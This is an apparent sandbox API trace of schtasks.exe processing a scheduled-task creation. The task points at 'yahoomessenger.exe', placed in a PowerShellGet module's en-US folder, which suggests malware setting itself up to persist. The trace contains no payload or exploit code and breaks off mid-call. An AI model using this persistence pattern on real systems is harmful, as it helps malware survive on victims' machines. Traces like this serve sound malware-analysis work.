lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.745] lstrlenW (lpString="-/") returned 2 [0065.745] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0065.745] SetLastError (dwErrCode=0x490) [0065.745] SetLastError (dwErrCode=0x490) [0065.745] SetLastError (dwErrCode=0x0) [0065.745] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.745] StrChrIW (lpStart="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'" [0065.745] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.745] GetProcessHeap () returned 0x2d0000 [0065.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec4d0 [0065.745] _memicmp (_Buf1=0x2ec4d0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.745] GetProcessHeap () returned 0x2d0000 [0065.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ec4f0 [0065.745] GetProcessHeap () returned 0x2d0000 [0065.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec510 [0065.745] _memicmp (_Buf1=0x2ec510, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.746] GetProcessHeap () returned 0x2d0000 [0065.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc6) returned 0x2ec530 [0065.746] SetLastError (dwErrCode=0x7a) [0065.746] SetLastError (dwErrCode=0x0) [0065.746] SetLastError (dwErrCode=0x0) [0065.746] lstrlenW (lpString="'C") returned 2 [0065.746] lstrlenW (lpString="-/") returned 2 [0065.746] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0065.746] SetLastError (dwErrCode=0x490) [0065.746] SetLastError (dwErrCode=0x490) [0065.746] SetLastError (dwErrCode=0x0) [0065.746] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.746] GetProcessHeap () returned 0x2d0000 [0065.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc4) returned 0x2ec600 [0065.746] GetProcessHeap () returned 0x2d0000 [0065.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecf50 [0065.746] SetLastError (dwErrCode=0x0) [0065.746] SetLastError (dwErrCode=0x0) [0065.746] lstrlenW (lpString="/f") returned 2 [0065.746] lstrlenW (lpString="-/") returned 2 [0065.746] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.747] lstrlenW (lpString="?") returned 1 [0065.747] lstrlenW (lpString="?") returned 1 [0065.747] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.747] lstrlenW (lpString="f") returned 1 [0065.747] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.747] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|?|") returned 3 [0065.747] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|f|") returned 3 [0065.747] lstrlenW (lpString="|?|") returned 3 [0065.747] lstrlenW (lpString="|f|") returned 3 [0065.747] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0065.747] SetLastError (dwErrCode=0x490) [0065.747] lstrlenW (lpString="create") returned 6 [0065.747] lstrlenW (lpString="create") returned 6 [0065.747] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.747] lstrlenW (lpString="f") returned 1 [0065.747] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.747] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|create|") returned 8 [0065.747] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|f|") returned 3 [0065.747] lstrlenW (lpString="|create|") returned 8 [0065.747] lstrlenW (lpString="|f|") returned 3 [0065.747] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0065.747] SetLastError (dwErrCode=0x490) [0065.747] lstrlenW (lpString="delete") returned 6 [0065.747] lstrlenW (lpString="delete") returned 6 [0065.747] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.747] lstrlenW (lpString="f") returned 1 [0065.747] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.748] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|delete|") returned 8 [0065.748] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|f|") returned 3 [0065.748] lstrlenW (lpString="|delete|") returned 8 [0065.748] lstrlenW (lpString="|f|") returned 3 [0065.748] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0065.748] SetLastError (dwErrCode=0x490) [0065.748] lstrlenW (lpString="query") returned 5 [0065.748] lstrlenW (lpString="query") returned 5 [0065.748] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.748] lstrlenW (lpString="f") returned 1 [0065.748] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.748] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|query|") returned 7 [0065.748] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|f|") returned 3 [0065.748] lstrlenW (lpString="|query|") returned 7 [0065.748] lstrlenW (lpString="|f|") returned 3 [0065.748] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0065.748] SetLastError (dwErrCode=0x490) [0065.748] lstrlenW (lpString="change") returned 6 [0065.748] lstrlenW (lpString="change") returned 6 [0065.748] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.748] lstrlenW (lpString="f") returned 1 [0065.748] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.748] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|change|") returned 8 [0065.748] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|f|") returned 3 [0065.748] lstrlenW (lpString="|change|") returned 8 [0065.748] lstrlenW (lpString="|f|") returned 3 [0065.748] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0065.749] SetLastError (dwErrCode=0x490) [0065.749] lstrlenW (lpString="run") returned 3 [0065.749] lstrlenW (lpString="run") returned 3 [0065.749] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.749] lstrlenW (lpString="f") returned 1 [0065.749] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.749] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|run|") returned 5 [0065.749] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|f|") returned 3 [0065.749] lstrlenW (lpString="|run|") returned 5 [0065.749] lstrlenW (lpString="|f|") returned 3 [0065.749] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0065.749] SetLastError (dwErrCode=0x490) [0065.749] lstrlenW (lpString="end") returned 3 [0065.749] lstrlenW (lpString="end") returned 3 [0065.749] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.749] lstrlenW (lpString="f") returned 1 [0065.749] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.749] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|end|") returned 5 [0065.749] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|f|") returned 3 [0065.749] lstrlenW (lpString="|end|") returned 5 [0065.749] lstrlenW (lpString="|f|") returned 3 [0065.749] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0065.749] SetLastError (dwErrCode=0x490) [0065.749] lstrlenW (lpString="showsid") returned 7 [0065.749] lstrlenW (lpString="showsid") returned 7 [0065.749] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.750] lstrlenW (lpString="f") returned 1 [0065.750] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.750] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|showsid|") returned 9 [0065.750] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|f|") returned 3 [0065.750] lstrlenW (lpString="|showsid|") returned 9 [0065.750] lstrlenW (lpString="|f|") returned 3 [0065.750] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0065.750] SetLastError (dwErrCode=0x490) [0065.750] SetLastError (dwErrCode=0x490) [0065.750] SetLastError (dwErrCode=0x0) [0065.750] lstrlenW (lpString="/f") returned 2 [0065.750] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0065.750] SetLastError (dwErrCode=0x490) [0065.750] SetLastError (dwErrCode=0x0) [0065.750] lstrlenW (lpString="/f") returned 2 [0065.750] GetProcessHeap () returned 0x2d0000 [0065.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2ec6d0 [0065.750] GetProcessHeap () returned 0x2d0000 [0065.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecf80 [0065.750] SetLastError (dwErrCode=0x0) [0065.750] GetProcessHeap () returned 0x2d0000 [0065.750] GetProcessHeap () returned 0x2d0000 [0065.750] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3a0) returned 1 [0065.750] GetProcessHeap () returned 0x2d0000 [0065.750] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3a0) returned 0x8 [0065.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3a0 | out: hHeap=0x2d0000) returned 1 [0065.750] GetProcessHeap () returned 0x2d0000 [0065.751] GetProcessHeap () returned 0x2d0000 [0065.751] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdd0) returned 1 [0065.751] GetProcessHeap () returned 0x2d0000 [0065.751] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecdd0) returned 0x20 [0065.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdd0 | out: hHeap=0x2d0000) returned 1 [0065.751] GetProcessHeap () returned 0x2d0000 [0065.752] GetProcessHeap () returned 0x2d0000 [0065.752] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece00) returned 1 [0065.752] GetProcessHeap () returned 0x2d0000 [0065.752] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece00) returned 0x20 [0065.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece00 | out: hHeap=0x2d0000) returned 1 [0065.753] GetProcessHeap () returned 0x2d0000 [0065.753] GetProcessHeap () returned 0x2d0000 [0065.753] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece30) returned 1 [0065.753] GetProcessHeap () returned 0x2d0000 [0065.753] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece30) returned 0x20 [0065.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece30 | out: hHeap=0x2d0000) returned 1 [0065.754] GetProcessHeap () returned 0x2d0000 [0065.754] GetProcessHeap () returned 0x2d0000 [0065.754] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec430) returned 1 [0065.754] GetProcessHeap () returned 0x2d0000 [0065.754] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec430) returned 0x8 [0065.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec430 | out: hHeap=0x2d0000) returned 1 [0065.754] GetProcessHeap () returned 0x2d0000 [0065.754] GetProcessHeap () returned 0x2d0000 [0065.754] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece60) returned 1 [0065.754] GetProcessHeap () returned 0x2d0000 [0065.755] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece60) returned 0x20 [0065.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece60 | out: hHeap=0x2d0000) returned 1 [0065.755] GetProcessHeap () returned 0x2d0000 [0065.755] GetProcessHeap () returned 0x2d0000 [0065.755] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec450) returned 1 [0065.755] GetProcessHeap () returned 0x2d0000 [0065.755] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec450) returned 0xe [0065.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec450 | out: hHeap=0x2d0000) returned 1 [0065.756] GetProcessHeap () returned 0x2d0000 [0065.756] GetProcessHeap () returned 0x2d0000 [0065.756] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece90) returned 1 [0065.756] GetProcessHeap () returned 0x2d0000 [0065.756] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece90) returned 0x20 [0065.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece90 | out: hHeap=0x2d0000) returned 1 [0065.756] GetProcessHeap () returned 0x2d0000 [0065.756] GetProcessHeap () returned 0x2d0000 [0065.756] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec470) returned 1 [0065.757] GetProcessHeap () returned 0x2d0000 [0065.757] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec470) returned 0x8 [0065.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec470 | out: hHeap=0x2d0000) returned 1 [0065.757] GetProcessHeap () returned 0x2d0000 [0065.757] GetProcessHeap () returned 0x2d0000 [0065.757] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecec0) returned 1 [0065.757] GetProcessHeap () returned 0x2d0000 [0065.757] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecec0) returned 0x20 [0065.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecec0 | out: hHeap=0x2d0000) returned 1 [0065.758] GetProcessHeap () returned 0x2d0000 [0065.758] GetProcessHeap () returned 0x2d0000 [0065.758] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec490) returned 1 [0065.758] GetProcessHeap () returned 0x2d0000 [0065.758] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec490) returned 0x6 [0065.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec490 | out: hHeap=0x2d0000) returned 1 [0065.758] GetProcessHeap () returned 0x2d0000 [0065.758] GetProcessHeap () returned 0x2d0000 [0065.758] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecef0) returned 1 [0065.758] GetProcessHeap () returned 0x2d0000 [0065.758] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecef0) returned 0x20 [0065.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecef0 | out: hHeap=0x2d0000) returned 1 [0065.759] GetProcessHeap () returned 0x2d0000 [0065.759] GetProcessHeap () returned 0x2d0000 [0065.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec4b0) returned 1 [0065.759] GetProcessHeap () returned 0x2d0000 [0065.759] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec4b0) returned 0x8 [0065.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec4b0 | out: hHeap=0x2d0000) returned 1 [0065.759] GetProcessHeap () returned 0x2d0000 [0065.759] GetProcessHeap () returned 0x2d0000 [0065.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf20) returned 1 [0065.759] GetProcessHeap () returned 0x2d0000 [0065.759] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecf20) returned 0x20 [0065.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf20 | out: hHeap=0x2d0000) returned 1 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec600) returned 1 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec600) returned 0xc4 [0065.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec600 | out: hHeap=0x2d0000) returned 1 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf50) returned 1 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecf50) returned 0x20 [0065.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf50 | out: hHeap=0x2d0000) returned 1 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec6d0) returned 1 [0065.760] GetProcessHeap () returned 0x2d0000 [0065.761] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec6d0) returned 0x6 [0065.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec6d0 | out: hHeap=0x2d0000) returned 1 [0065.761] GetProcessHeap () returned 0x2d0000 [0065.761] GetProcessHeap () returned 0x2d0000 [0065.761] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf80) returned 1 [0065.761] GetProcessHeap () returned 0x2d0000 [0065.761] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecf80) returned 0x20 [0065.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf80 | out: hHeap=0x2d0000) returned 1 [0065.761] GetProcessHeap () returned 0x2d0000 [0065.761] GetProcessHeap () returned 0x2d0000 [0065.761] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e55d0) returned 1 [0065.761] GetProcessHeap () returned 0x2d0000 [0065.761] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e55d0) returned 0x18 [0065.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e55d0 | out: hHeap=0x2d0000) returned 1 [0065.762] SetLastError (dwErrCode=0x0) [0065.787] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0065.787] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0065.787] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0065.787] VerifyVersionInfoW (in: lpVersionInformation=0xdc090, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdc090) returned 1 [0065.787] SetLastError (dwErrCode=0x0) [0065.787] lstrlenW (lpString="create") returned 6 [0065.787] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0065.787] SetLastError (dwErrCode=0x490) [0065.787] SetLastError (dwErrCode=0x0) [0065.787] lstrlenW (lpString="create") returned 6 [0065.787] GetProcessHeap () returned 0x2d0000 [0065.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecf80 [0065.788] GetProcessHeap () returned 0x2d0000 [0065.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed6c0 [0065.788] _memicmp (_Buf1=0x2ed6c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.788] GetProcessHeap () returned 0x2d0000 [0065.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed6e0 [0065.788] SetLastError (dwErrCode=0x0) [0065.788] _memicmp (_Buf1=0x2ebc30, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.788] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebdd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0065.788] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0065.788] GetProcessHeap () returned 0x2d0000 [0065.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2ede90 [0065.789] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2ede90 | out: lpData=0x2ede90) returned 1 [0065.789] VerQueryValueW (in: pBlock=0x2ede90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdc178, puLen=0xdc1e0 | out: lplpBuffer=0xdc178*=0x2ee22c, puLen=0xdc1e0) returned 1 [0065.789] _memicmp (_Buf1=0x2ebc30, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.789] _vsnwprintf (in: _Buffer=0x2ebdd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdc158 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0065.789] VerQueryValueW (in: pBlock=0x2ede90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdc1e8, puLen=0xdc1d8 | out: lplpBuffer=0xdc1e8*=0x2ee058, puLen=0xdc1d8) returned 1 [0065.789] lstrlenW (lpString="schtasks.exe") returned 12 [0065.789] lstrlenW (lpString="schtasks.exe") returned 12 [0065.789] lstrlenW (lpString=".EXE") returned 4 [0065.789] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0065.789] lstrlenW (lpString="schtasks.exe") returned 12 [0065.789] lstrlenW (lpString=".EXE") returned 4 [0065.789] lstrlenW (lpString="schtasks") returned 8 [0065.789] lstrlenW (lpString="/create") returned 7 [0065.789] _memicmp (_Buf1=0x2ebc30, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.789] _vsnwprintf (in: _Buffer=0x2ebdd0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdc158 | out: _Buffer="schtasks /create") returned 16 [0065.789] _memicmp (_Buf1=0x2ebc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.789] GetProcessHeap () returned 0x2d0000 [0065.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecf50 [0065.790] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.790] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0065.790] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0065.790] GetProcessHeap () returned 0x2d0000 [0065.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7c90 [0065.790] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdc158 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0065.790] GetProcessHeap () returned 0x2d0000 [0065.790] GetProcessHeap () returned 0x2d0000 [0065.790] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ede90) returned 1 [0065.790] GetProcessHeap () returned 0x2d0000 [0065.790] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ede90) returned 0x74e [0065.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ede90 | out: hHeap=0x2d0000) returned 1 [0065.791] SetLastError (dwErrCode=0x0) [0065.791] GetThreadLocale () returned 0x409 [0065.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.791] lstrlenW (lpString="create") returned 6 [0065.791] GetThreadLocale () returned 0x409 [0065.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.791] lstrlenW (lpString="?") returned 1 [0065.791] GetThreadLocale () returned 0x409 [0065.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="s") returned 1 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="u") returned 1 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="p") returned 1 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="ru") returned 2 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="rp") returned 2 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="sc") returned 2 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="mo") returned 2 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="d") returned 1 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="m") returned 1 [0065.792] GetThreadLocale () returned 0x409 [0065.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.792] lstrlenW (lpString="i") returned 1 [0065.793] GetThreadLocale () returned 0x409 [0065.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.793] lstrlenW (lpString="tn") returned 2 [0065.793] GetThreadLocale () returned 0x409 [0065.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", 